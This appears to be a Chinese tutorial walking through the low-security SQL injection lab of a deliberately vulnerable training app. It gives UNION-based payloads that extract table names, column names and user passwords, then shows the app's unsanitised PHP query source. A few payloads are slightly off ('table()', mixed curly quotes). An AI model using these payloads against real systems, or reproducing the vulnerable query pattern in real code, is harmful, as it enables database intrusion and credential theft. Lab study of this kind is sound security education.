文章目录
Low
SQL Injection:
(1)判断
判断是否存在注入
猜测SQL语句:
http://www.xxx.com/xxx.php?id=1 假设ID为存在注入的参数
http://www.xxx.com/xxx.php?id=1‘ 语句报错
http://www.xxx.com/xxx.php?id=1‘ and 1=1# 页面正常返回结果
http://www.xxx.com/xxx.php?id=1’ and 1=2# 页面返回错误
如果以上4个测试条件结果全部满足,那么就可能存在sql注入漏洞。
判断闭合方式
若
http://www.xxx.com/xxx.php?id=1' # 返回结果id=1一致,判断单引号闭合
常用的闭合方式还有:
id = “input_id”
id = (“input_id”)
id = (‘input_id’)
判断注入类型(数字型/字符型)
输入
888 or 1=1
页面无回显
888’ or ‘1’='1
打印所有
返回了多个结果,说明存在字符型注入。
(2)用order by确定列数
输入1’ or 1 = 1 order by 1 #,查询成功:
输入1’ or 1 = 1 order by 3 #
查询报错,最后一个页面正确回显的数是2,所以可以得出为2列。
(3)用 union select确定显示的字段
1’ union select 1,2#
说明执行的SQL语句为select First name,Surname from 表 where ID=’id’…
(4)获取当前数据库
1' union select 1,database()#
这里的数字1只是为了凑后面的列数,union查询前后的列数要一致才行
查询当前的数据库名和当前的用户名
1' union select table(),database()#
(5)注入出当前数据库所有的表名
方法一:回显一条结果:
1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())#
法二:回显多条结果:
id=-1’ union select 1,table_name from information_schema.tables
where table_schema=database() #
(6)注入出某一个表中的全部列名
(表名为’users’)
方法一:回显在一条结果
1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’)#
方法二:回显在多条结果
1’ union select 1,column_name from information_schema.columns where table_name = ‘users’#
说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
(7)注入出字段内容
(字段名为user、password)
方法一:回显在一条结果
1’ union select (select group_concat(User) from users),(select group_concat(Password) from users) #
方法二:回显在多条结果
1’ union select user,password from users #
low SQL Injection源码
SQL Injection Source
vulnerabilities/sqli/source/low.php
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>